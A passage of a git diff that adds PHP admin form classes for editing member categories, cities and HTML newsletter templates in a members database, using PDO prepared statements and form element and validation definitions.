+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+
+        $this->dbh = $pdo;
+       }
+
+       //      }}}
+
+       //      {{{ configureDefaults()
+
+       /**
+        * Sets the defaults for elements in the form.
+        *
+        * @return void
+        * @access public
+        */
+       public function configureDefaults()
+       {
+               if (isset($_GET['id'])) {
+                       try {
+                               $sql = "
+                                       SELECT *
+                                         FROM category
+                                        WHERE category_id = :cid";
+
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':cid', $_GET['id'], PDO::PARAM_INT);
+                               $stmt->execute();
+                               $category = $stmt->fetch(PDO::FETCH_ASSOC);
+                               $defaults = array(
+                                       'category_id'           => $category['category_id'],
+                                       'name'                          => $category['name'],
+                                       //'parent_id'                   => $category['parent_id'],
+                                       'accommodations'        => $category['accommodations'],
+                                       'restaurant'            => $category['restaurant'],
+                                       'golf'                          => $category['golf'],
+                               );
+                       } catch (PDOException $e) {
+                               $this->handleError($e);
+                       }
+               }
+
+               $this->setupDefaults($defaults);
+       }
+
+       //      }}}
+       //      {{{ configureElements()
+
+       /**
+        * Setup the elements to use on the form.
+        *
+        * Categories are populated into the protected class property $categories.
+        * These categories are used to populate the select list of categories.
+        *
+        * @return void
+        * @access public
+        */
+       public function configureElements()
+       {
+        $e = array();
+
+               //      All Grouped Elements are created here.
+
+               //      All Elements are created here.  This includes group element definitions.
+               $e[] = array(
+            'type' => 'header',
+            'req' => false,
+            'name' => 'categoryInfoHdr',
+            'display' => 'Member Categories'
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => true,
+            'name' => 'name',
+            'display' => 'Category Name'
+        );
+               if (!isset($_GET['id'])) {
+                       $e[] = array(
+                'type' => 'select',
+                'req' => false,
+                'name' => 'parent_id',
+                'display' => 'Parent',
+                'opts' => array(0 => 'No Parent (top level)'),
+                'att' => array('id' => 'categories')
+            );
+               }
+
+               $e[] = array(
+            'type' => 'advcheckbox',
+            'req' => false,
+            'name' => 'accommodations',
+            'display' => 'Is Accommodation Category',
+            'val' => array(0, 1)
+        );
+               $e[] = array(
+            'type' => 'advcheckbox',
+            'req' => false,
+            'name' => 'restaurant',
+            'display' => 'Is Restaurant Category',
+            'val' => array(0, 1)
+        );
+               $e[] = array(   
+            'type' => 'advcheckbox',
+            'req' => false,
+            'name' => 'golf',
+            'display' => 'Is Golfing Category',
+            'val' => array(0, 1)
+        );
+
+               $this->setupElements($e);
+        $this->loadMemberCategories();
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+    
+    /**
+     * Helper function to configure an entire form
+     *
+     * @return void
+     * @access public
+     */
+    public function configureForm()
+    {
+        $this->configureElements();
+        $this->configureDefaults();
+        $this->configureRules();
+    }
+
+    //  }}}
+       //      {{{ configureRules()
+
+    /**
+     * Form rule definitions
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureRules()
+       {
+        $r = array();
+
+               $this->setupRules($r);
+       }
+
+       //      }}}
+
+       //      {{{ deleteCategory()
+
+       /**
+        * Removes a category from the database
+        *
+        * All first level sub-categories will become main level categories
+        * and will hold the structure of any sub-categories beneath them.
+        *
+        * @param int $id The category_id of the category you wish to remove.
+        *
+        * @return bool False on SQL error, otherwise true.
+        * @access protected
+        */
+       protected function deleteCategory($id)
+       {
+        if (!is_numeric($id)) {
+            return false;
+        }
+
+               try {
+                       $sql = "
+                UPDATE {$this->tableName}
+                   SET parent_id   = 0
+                 WHERE parent_id   = :id";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $id, PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       $sql = "
+                               DELETE FROM {$this->tableName}
+                 WHERE category_id = :id";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $id, PDO::PARAM_INT);
+                       return $stmt->execute();
+               } catch (PDOException $e) {
+                       Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ insertData()
+
+    /**
+     * Create a new category
+     * 
+     * @param array $values Submitted form values
+     *
+     * @return boolean Result of insertion into DB
+     * @access protected
+     */
+       protected function insertData($values)
+       {
+        $sql = Toolkit_Common::createSQLInsert(
+            $this->tableName,
+            array_keys($values)
+        );
+        try {
+            return Toolkit_Common::processQuery($this->dbh, $sql, $values);
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+       }
+
+       //      }}}
+
+    //  {{{ loadMemberCategories()
+
+    /**
+     * Loads member categories into the select list
+     *
+     * Gets an array structure of the member categories in a linear tree order
+     * Then walk through the array and load each category into the select list
+     * 
+     * @return void     
+     * @access protected
+     */
+    protected function loadMemberCategories()
+    {
+        if (!$this->elementExists('parent_id')) {
+            return;
+        }
+        try {
+            //  Get a tree list of categories in linear order with
+            //  category keys in the values and their level in the tree
+            //  in the value
+            $c = Toolkit_Common::getHierarchicalTreeStructure(
+                'category',
+                'category_id',
+                'parent_id'
+            );
+
+            //  Get all the data about each category
+            $sql = "
+                SELECT *
+                  FROM category
+                 WHERE category_id = ?";
+
+            $stmt = $this->dbh->prepare($sql);
+            //  Get the member categories select list element
+            $e =& $this->getElement('parent_id');
+            foreach ($c as $i => $j) {
+                $stmt->execute(array($i));
+                $row = $stmt->fetch();
+                //  the class level is always 1 less than what is reported
+                //  from our $c array
+                $x = $j - 1;
+                //  Add the option data to the select list.
+                $e->addOption($row['name'], $i, array('class' => "level-$x"));
+            }
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+
+       //      {{{ toHtml()
+
+       /**
+        * Renders the form
+        *
+        * sets the page the form should be redirected to instead of coming back
+        * around to itself. Calls the Auxiliary base class function to handle
+        * the rendering.
+        *
+        * @return string The rendered form
+        * @access public
+        */
+       public function toHtml()
+       {
+               $listPage = BASE_URL . 'admin/members.php?cat=3&subCat=1';
+               return parent::toHtml($listPage);
+       }
+
+       //      }}}
+
+       //      {{{ updateChildren()
+
+       /**
+        * Recusively updates all sub-categories to mirror the top category
+        *
+        * @param array $values The array of settings to update and the parent
+        *                                              id so you can find the children.
+        *
+        * @return bool false on error, otherwise true.
+        * @access protected
+        */
+       protected function updateChildren($values)
+       {
+               try {
+                       $sql = "
+                               SELECT *
+                                 FROM connectby('category', 'category_id', 'parent_id',
+                                                                       'pos', :cid, 0)
+                                       AS t(id text, parent text, level int, pos int)";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':cid', $_GET['id'], PDO::PARAM_STR);
+                       $stmt->execute();
+                       
+                       while ($row = $stmt->fetch()) {
+                               $children[] = $row;
+                       }
+                       //      If we actually got some subcategories,
+                       //      update their settings and check to see
+                       //      if they have any subcategories we can update.
+                       if (is_array($children)) {
+                               $sql = "
+                                       UPDATE {$this->tableName}
+                                          SET accommodations = :accommodations,
+                                              restaurant = :restaurant,
+                                                  golf = :golf
+                                        WHERE category_id = :category_id";
+
+                               $stmt = $this->dbh->prepare($sql);
+                               foreach ($children as $k => &$v) {
+                                       $stmt->bindParam('category_id', $v['id'], PDO::PARAM_INT);
+                                       $stmt->bindParam(
+                        'accommodations',
+                        $values['accommodations'],
+                        PDO::PARAM_BOOL
+                    );
+                                       $stmt->bindParam(
+                        'restaurant',
+                        $values['restaurant'],
+                        PDO::PARAM_BOOL
+                    );
+                                       $stmt->bindParam('golf', $values['golf'], PDO::PARAM_BOOL);
+                                       $stmt->execute();
+                               }
+                               return true;
+                       } else {
+                               //      Otherwise we got no subcategories
+                               return true;
+                       }
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ updateData()
+
+       /**
+        * Update the settings for this category
+        *
+        * Any modules that are assigned to this category will be updated.
+        * And if this category has any sub-categories, those childrens
+        * module settings will be updated to mirror this categories settings.
+        *
+        * @param array $values Values submitted from the form
+        *
+        * @return bool false on sql error, otherwise true.
+        * @access protected
+        */
+       protected function updateData($values)
+       {
+               //      We aren't updating a region, we're deleting it.
+               if (array_key_exists('delete', $values)) {
+                       return $this->deleteCategory($_GET['id']);
+               }
+
+        $sql = Toolkit_Common::createSQLUpdate(
+            $this->tableName,
+            array_keys($values),
+            array('category_id = :id')
+        );
+        
+        $values['id'] = $_GET['id'];
+        try {
+            Toolkit_Common::processQuery($this->dbh, $sql, $values);
+            return $this->updateChildren($values);
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Admin/EditCity.php b/Toolkit/Members/Admin/EditCity.php
new file mode 100644 (file)
index 0000000..6307396
--- /dev/null
@@ -0,0 +1,643 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Edit cities stored in the DB for members
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: EditCity.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ */
+
+/**
+ * Edit cities in the member database
+ *
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: EditCity.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://devsys2.gaslightmedia.com/demo.gaslightmedia.com/admin/members.php?cat=6
+ */
+class Toolkit_Members_Admin_EditCity
+    extends Toolkit_Members_Auxiliary implements Toolkit_Form
+{
+       //      {{{      properties
+
+    /**
+     * Table name in DB
+     * @var    string
+     * @access public
+     */
+       public $tableName = 'city';
+
+    /**
+     * Form template
+     * @var    string   
+     * @access protected
+     */
+       protected $formTemplate = 'editCity.tpl';
+
+    /**
+     * Image Server
+     * @var    object
+     * @access protected
+     */
+    protected $is;
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param PDO    $pdo         PHP Data Object
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+        * 
+        * @access public
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+
+        $this->dbh = $pdo;
+       }
+
+       //      }}}
+
+       //      {{{ checkCityName()
+
+    /**
+     * Check that the city name is not in use already
+     * 
+     * @param string $name name to check
+     *
+     * @return boolean if the name is valid or not
+     * @access public 
+     */
+       public function checkCityName($name)
+       {
+               try {
+                       //      If we're editing a city, they
+                       //      can save that city as its
+                       //      own name. so don't include that 
+                       //      city in the check.
+                       if (isset($_GET['id'])) {
+                               $and = "AND city_id != :id";
+                       }
+                       $sql = "
+                SELECT COUNT(*) AS total
+                  FROM {$this->tableName}
+                 WHERE city_name = :name
+                                 $and";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':name', $name, PDO::PARAM_STR);
+                       if (isset($_GET['id'])) {
+                               $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_STR);
+                       }
+                       $stmt->execute();
+            $stmt->bindColumn('total', $total);
+                       $stmt->fetch();
+
+                       return !(bool) $total;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ configureDefaults()
+
+    /**
+     * Set up the default values for the form
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureDefaults()
+       {
+               if (isset($_GET['id'])) {
+                       try {
+                               $sql = "
+                                       SELECT *
+                                         FROM city 
+                                        WHERE city_id = :id";
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT);
+                               $stmt->execute();
+                               $city = $stmt->fetch(PDO::FETCH_ASSOC);
+                               $defaults = array(
+                                       'city_name'                     => $city['city_name'],
+                                       'region_id'                     => $city['region_id'],
+                                       'state_id'                      => $city['state_id'],
+                                       'description'           => $city['description'],
+                                       'image_rmv'                     => "<image src=".THUMB."{$city['image']} />",
+                                       'uploaded_file_rmv'     => $city['image'],
+                               );
+
+                               //      If the user is editing a city, and no image has been uploaded yet.
+                               //      there is no point in showing an empty "current image" field, so remove
+                               //      that element from the form.
+                               if (empty($city['image']) && !$this->isSubmitted()) {
+                                       $this->removeElement('image_rmv', false);
+                                       $this->removeElement('remove_image', false);
+                               }
+                       } catch (PDOException $e) {
+                               $this->handleError($e);
+                       }
+               }
+
+               $this->setupDefaults($defaults);
+       }
+
+       //      }}}
+       //      {{{ configureElements()
+
+    /**
+     * Form element definitions
+     * 
+     * @param Config_Container $c Configuration object
+     *
+     * @return void     
+     * @access public
+     */
+       public function configureElements(Config_Container $c)
+       {
+        $e = array();
+        //  get reference to [listing type] section of config file
+        $config =& $c->getItem('section', 'conf');
+        $regionDirective =& $config->getItem('directive', 'regions');
+               //      All Grouped Elements are created here.
+
+               //      All Elements are created here.  This includes group element definitions.
+               $e[] = array(
+            'type' => 'header',
+            'req' => false,
+            'name' => 'cityInfoHdr',
+            'display' => 'Member Cities'
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => true,
+            'name' => 'city_name',
+            'display' => 'City'
+        );
+               if ($regionDirective->getContent()) {
+                       $e[] = array(
+                'type' => 'select',
+                'req' => false,
+                'name' => 'region_id',
+                'display' => 'Region',
+                'opts' => $this->getRegions(),
+            );
+               }
+               $e[] = array(
+            'type' => 'select',
+            'req' => true,
+            'name' => 'state_id',
+            'display' => 'State',
+            'opts' => array('' => '-- Select --') + Toolkit_Common::getStates($this->dbh),
+        );
+               //      If we're editing a city, show the current
+               //      city image in the form.
+               if ($this->_hasImage()) {
+                       $e[] = array(
+                               'type'    => 'checkbox',
+                               'req'     => false,
+                               'name'    => 'remove_image_rmv',
+                               'display' => 'Remove Image'
+                       );
+                       $e[] = array(
+                               'type'    => 'static',
+                               'req'     => false,
+                               'name'    => 'image_rmv',
+                               'display' => 'Current Image'
+                       );
+            $e[] = array(
+                               'type' => 'hidden',
+                               'req'  => false,
+                               'name' => 'old_image_rmv'
+                       );
+               }
+               $e[] = array(
+                       'type'    => 'file',
+                       'req'     => false,
+                       'name'    => 'new_image_rmv',
+                       'display' => 'New Image',
+               );
+               $e[] = array(
+            'type' => 'textarea',
+            'req' => false,
+            'name' => 'description',
+            'display' => 'Description',
+            'opts' => array(
+                'id' => 'description',
+                'rows' => 7,
+                'cols' => 45
+            )
+        );
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+    
+    /**
+     * Helper function to configure an entire form
+     *
+     * @param Config_Container $c Configuration object
+     *
+     * @return void
+     * @access public
+     */
+    public function configureForm(Config_Container $c)
+    {
+        $this->configureElements($c);
+        $this->configureRules();
+        $this->configureDefaults();
+    }
+
+    //  }}}
+       //      {{{ configureRules()
+
+    /**
+     * Form rule definitions
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureRules()
+       {
+        $r = array();
+
+               $mimeTypes = array(
+                       'image/jpe',
+                       'image/jpeg',
+                       'image/jpg',
+                       'image/jfif',
+                       'image/pjpeg',
+                       'image/pjp',
+                       'image/gif',
+                       'image/png',
+               );
+
+        $r[] = array(
+            'element' => 'new_image_rmv',
+            'message' => 'ERROR: Incorrect File Type (.gif, .png, .jpg) only!',
+            'type' => 'mimetype',
+            'format' => $mimeTypes,
+            'validation' => $this->validationType,
+            'reset' => false,
+            'force' => false
+        );
+               $r[] = array(
+            'element' => 'city_name',
+            'message' => 'ERROR: City already exists!',
+            'type' => 'callback',
+            'format' => array($this, 'checkCityName'),
+            'validation' => $this->validationType,
+            'reset' => false,
+            'force' => false
+        );
+
+               $this->setupRules($r);
+       }
+
+       //      }}}
+
+       //      {{{ deleteCity()
+
+    /**
+     * Delete city from db
+     * 
+     * @param integer $id city id
+     *
+     * @return boolean result of removing city
+     * @access protected
+     */
+       protected function deleteCity($id)
+       {
+        $city = new Toolkit_Members_City($this->dbh);
+        return $city->deleteCity($id);
+       }
+
+       //      }}}
+
+       //      {{{ getRegions()
+
+    /**
+     * Get the regions stored in the DB
+     * 
+     * @return array regions
+     * @access protected
+     */
+       protected function getRegions()
+       {
+               try {
+                       $sql = "
+                SELECT *
+                  FROM region
+                 ORDER BY region_name";
+                       foreach ($this->dbh->query($sql) as $row) {
+                               $regions[$row['region_id']] = $row['region_name'];
+                       }
+                       if (!empty($regions)) {
+                               $regions = array('' => '-- Select --') + $regions;
+                       } else {
+                               $regions = array('' => '-- No Regions Created Yet --');
+                       }
+
+                       return $regions;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ _hasImage()
+
+    /**
+     * Determine if the city record has a image
+     * 
+     * @return boolean if the record has a image or not
+     * @access private
+     */
+       private function _hasImage()
+       {
+               try {
+            if (!is_numeric($_GET['id'])) {
+                return false;
+            }
+
+                       $sql = "
+                SELECT image
+                  FROM {$this->tableName}
+                 WHERE city_id = :city_id";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':city_id', $_GET['id'], PDO::PARAM_INT);
+                       $stmt->execute();
+                       $row = $stmt->fetch();
+
+                       $hasLogo = !is_null($row['image']);
+
+                       return $hasLogo;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ insertData()
+
+    /**
+     * Create a new city
+     * 
+     * @param array $values Submitted form values
+     *
+     * @return boolean Result of insertion into DB
+     * @access protected
+     */
+       protected function insertData($values)
+       {
+        $city = new Toolkit_Members_City($this->dbh);
+        $city->setName($values['city_name']);
+        $city->setState($values['state_id']);
+        $city->setRegion($values['region_id']);
+        $city->setImage($values['image']);
+        $city->setDescription($values['description']);
+
+        return $city->createNewCity();
+       }
+
+       //      }}}
+
+       //      {{{ processData()
+
+    /**
+     * clean unneeded form elements out of the submitted values array
+     * 
+     * @param array $values QuickForm submitted elements
+     *
+     * @return boolean Result of insert/update functions
+     * @access public
+     */
+       public function processData($values)
+       {
+               $this->processImage(&$values);
+
+               foreach ($values as $k => $v) {
+                       switch ($k) {
+                       case 'MAX_FILE_SIZE' :
+                               unset($values[$k]);
+                               break;
+
+                       default :
+                if (substr($k, -4) == '_rmv') {
+                                       unset($values[$k]);
+                               }
+                               break;
+                       }
+               }
+
+        $function = is_numeric($_GET['id']) ? 'updateData' : 'insertData';
+        return $this->$function($values);
+       }
+
+       //      }}}
+       //      {{{     processImage()
+
+    /**
+     * create or update city images
+     * 
+     * @param array $values submitted form values
+     *
+     * @return object    Return description (if any) ...
+     * @access protected
+     */
+       protected function processImage($values)
+       {
+               //      Keep a tidy house.
+               //      There are 2 scenarios to deal w/ images:
+               //      1.  Removing image:
+               //              Delete the image from the image server
+               //              and set the values['image'] to null.
+               //      2.  New image:
+               //              Check to see if old_image_rmv holds a value,
+               //              if it does then remove that image
+               //              Upload the image and put new filename
+               //              into values['image'] variable.
+               $imgServer  = new Toolkit_Image_Server();
+
+               if ($values['remove_image_rmv'] == 1) {
+                       $imgServer->imageDelete($values['old_image_rmv']);
+                       $values['image'] = null;
+               }
+
+               //      If a new image is uploaded, have the image server
+               //      process that image and give us back the file name on
+               //      the server.
+               if ($values['new_image_rmv']['size'] > 0) {
+                       $imgName = $imgServer->imageUpload('new_image_rmv');
+                       $values['image'] = $imgName;
+                       $img = '<img alt="'. $imgName . '" src="'.MEMBER_PHOTOS . $imgName.'">';
+
+                       //      If the old_image_rmv key is set and not empty
+                       //      then we are replacing an existing image and did not
+                       //      check the remove image checkbox.
+                       //      remove this old image just for good house keeping.
+                       if (isset($values['old_image_rmv']) && !empty($values['old_image_rmv'])) {
+                               $imgServer->imageDelete($values['old_image_rmv']);
+                               //      update the elements on the form if we are replacing an existing image.
+                               if ($this->elementExists('old_image_rmv')) {
+                                       $e =& $this->getElement('old_image_rmv');
+                                       $e->setValue($imgName);
+                               }
+                               if ($this->elementExists('image_rmv')) {
+                                       $e =& $this->getElement('image_rmv');
+                                       $e->setValue($img);
+                               }
+                       } else {
+                               $source =& $this->createElement(
+                    'checkbox',
+                    'remove_image_rmv',
+                    'Remove Logo'
+                );
+                               $this->insertElementBefore($source, 'new_image_rmv');
+
+                               $source =& $this->addElement('hidden', 'old_image_rmv');
+                               $source->setValue($imgName);
+
+                               $source =& $this->createElement(
+                    'static',
+                    'image_rmv',
+                    'Current Logo'
+                );
+                               $source->setValue($img);
+                               $element = $this->insertElementBefore($source, 'new_image_rmv');
+
+                               if (PEAR::isError($element)) {
+                                       die ('there was an error uploading your file!');
+                               } else {
+                                       //  I don't know why, but the insertElementBefore
+                                       //  function was erasing the value we set earlier.
+                                       //  so just reset it to make double sure its there.
+                                       $element->setValue($img);
+                               }
+                       }
+               }
+
+               //      We clicked to remove the image and did not upload a new one.
+               if ($values['remove_image_rmv'] == 1 && $values['new_image_rmv']['size'] == 0) {
+                       if ($this->elementExists('remove_image_rmv')) {
+                               $this->removeElement('remove_image_rmv', false);
+                       }
+                       if ($this->elementExists('image_rmv')) {
+                               $this->removeElement('image_rmv', false);
+                       }
+                       if ($this->elementExists('old_image_rmv')) {
+                               $this->removeElement('old_image_rmv', false);
+                       }
+               }
+       }
+
+       //      }}}
+
+    //  {{{ setImageServer()
+
+    /**
+     * Set the image server object to use
+     *
+     * @param Toolkit_Image_Server $is Image Server Object
+     *
+     * @return void
+     * @access public
+     */
+    public function setImageServer(Toolkit_Image_Server $is)
+    {
+        $this->is = $is;
+    }
+
+    //  }}}
+
+       //      {{{ toHtml()
+
+       /**
+        * Renders the form for viewing
+        *
+        * This function validates the form if needed, and if it successfully
+        * validates attempts to insert or update the data record.
+        * If it is unsuccessful, it will return an error to the user
+        * informing them of what went wrong.
+        *
+        * @return string The compiled and filled form template.
+        * @access public
+        */
+       public function toHtml()
+       {
+               $listPage = BASE_URL . 'admin/members.php?cat=6&subCat=1';
+               return parent::toHtml($listPage);
+       }
+
+       //      }}}
+       
+       //      {{{ updateData()
+
+    /**
+     * Update the data for a region
+     * 
+     * @param array $values submitted form results
+     *
+     * @return boolean result of sql update query
+     * @access protected
+     */
+       protected function updateData($values)
+       {
+               //      We aren't updating a region, we're deleting it.
+               if (array_key_exists('delete', $values)) {
+                       return $this->deleteCity($_GET['id']);
+               }
+
+        $city = new Toolkit_Members_City($this->dbh);
+        $city->setName($values['city_name']);
+        $city->setState($values['state_id']);
+        $city->setRegion($values['region_id']);
+        $city->setImage($values['image']);
+        $city->setDescription($values['description']);
+
+        return $city->updateCity($_GET['id']);
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Admin/EditHtmlEmail.php b/Toolkit/Members/Admin/EditHtmlEmail.php
new file mode 100644 (file)
index 0000000..cf9dfa4
--- /dev/null
@@ -0,0 +1,356 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Controls Amenity definitions for the member db
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: EditHtmlEmail.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ */
+
+/**
+ * Handles creating / editing amenities that the members will use
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_Admin_EditHtmlEmail
+    extends Toolkit_Members_Auxiliary implements Toolkit_Form
+{
+       //      {{{     properties
+
+    /**
+     * Description for public
+     * @var    string
+     * @access public
+     */
+       public $tableName = 'news_response';
+
+    /**
+     * Description for protected
+     * @var    string   
+     * @access protected
+     */
+       protected $formTemplate = 'editHtmlEmail.tpl';
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param PDO    $pdo         PHP Data Object
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+        * 
+        * @access public
+        */
+    public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+        parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+
+        $this->dbh = $pdo;
+       }
+
+       //      }}}
+
+       //      {{{ checkAmenityName()
+
+    /**
+     * Check that the amenity name is not in use already
+     * 
+     * @param string $name name to check
+     *
+     * @return boolean if the name is valid or not
+     * @access public 
+     */
+       public function checkSubjectName($name)
+       {
+               try {
+                       //      If we're editing a amenity, they
+                       //      can save that amenity as its
+                       //      own name. so don't include that
+                       //      amenity in the check.
+                       if (isset($_GET['id'])) {
+                               $and = "AND id != :id";
+                       }
+                       $sql = "
+                SELECT count(*) AS total
+                  FROM {$this->tableName}
+                 WHERE subject = :name
+                                 $and";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':name', $name, PDO::PARAM_STR);
+                       if (isset($_GET['id'])) {
+                               $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_STR);
+                       }
+                       $stmt->execute();
+            $stmt->bindColumn('total', $total);
+                       $stmt->fetch();
+
+                       return !(bool) $total;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+       
+       //      }}}
+       //      {{{ configureDefaults()
+
+    /**
+     * Set up the default values for the form
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureDefaults()
+       {
+        $d = array();
+
+               if (isset($_GET['id'])) {
+                       try {
+                               $sql = "
+                                       SELECT *
+                                         FROM {$this->tableName}
+                                        WHERE id = :id";
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT);
+                               $stmt->execute();
+                               $d = $stmt->fetch();
+                       } catch (PDOException $e) {
+                           Toolkit_Common::handleError($e);
+                       }
+               }
+
+               $this->setupDefaults($d);
+       }
+
+       //      }}}
+       //      {{{ configureElements()
+
+    /**
+     * Form element definitions
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureElements()
+       {
+               $e = array();
+               //      All Grouped Elements are created here.
+
+               //      All Elements are created here.
+               //      This includes group element definitions.
+               $e[] = array(
+                       'type'    => 'header',
+                       'req'     => false,
+                       'name'    => 'HtmlEmailInfoHdr',
+                       'display' => 'Html Newsletters'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'subject',
+                       'display' => 'Email Subject'
+               );
+               $e[] = array(
+            'type' => 'textarea',
+            'req' => false,
+            'name' => 'response',
+            'display' => 'Email Body',
+            'opts' => array(
+                'id' => 'response',
+                'rows' => 7,
+                'cols' => 45
+            )
+        );
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+    
+    /**
+     * Helper function to configure an entire form
+     *
+     * @return void
+     * @access public
+     */
+    public function configureForm()
+    {
+        $this->configureElements();
+        $this->configureRules();
+        $this->configureDefaults();
+    }
+
+    //  }}}
+       //      {{{ configureRules()
+
+    /**
+     * Form rule definitions
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureRules()
+       {
+        $r = array();
+
+               $r[] = array(
+            'element' => 'subject',
+            'message' => 'ERROR: Amenity already exists!',
+            'type' => 'callback',
+            'format' => array($this, 'checkSubjectName'),
+            'validation' => $this->validationType,
+            'reset' => false,
+            'force' => false
+        );
+
+               $this->setupRules($r);
+       }
+
+       //      }}}
+
+       //      {{{ deleteAmenity()
+
+    /**
+     * Remove a region from the db
+     * 
+     * @param integer $id region id
+     *
+     * @return boolean result of db query
+     * @access protected
+     */
+       protected function deleteHtmlEmail($id)
+       {
+        if (!is_numeric($id)) {
+            return false;
+        }
+               try {
+                       $sql = "
+                               DELETE FROM {$this->tableName}
+                                WHERE id = :id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $id, PDO::PARAM_INT);
+
+                       return $stmt->execute();
+               } catch (PDOException $e) {
+                       Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ insertData()
+
+    /**
+     * Create a new amenity
+     * 
+     * @param array $values Submitted form values
+     *
+     * @return boolean Result of insertion into DB
+     * @access protected
+     */
+       protected function insertData($values)
+       {
+        $values['last_update'] = date('m/d/Y');
+        $sql = Toolkit_Common::createSQLInsert(
+            $this->tableName, 
+            array_keys($values)
+        );
+        try {
+            return Toolkit_Common::processQuery($this->dbh, $sql, $values);
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+       }
+
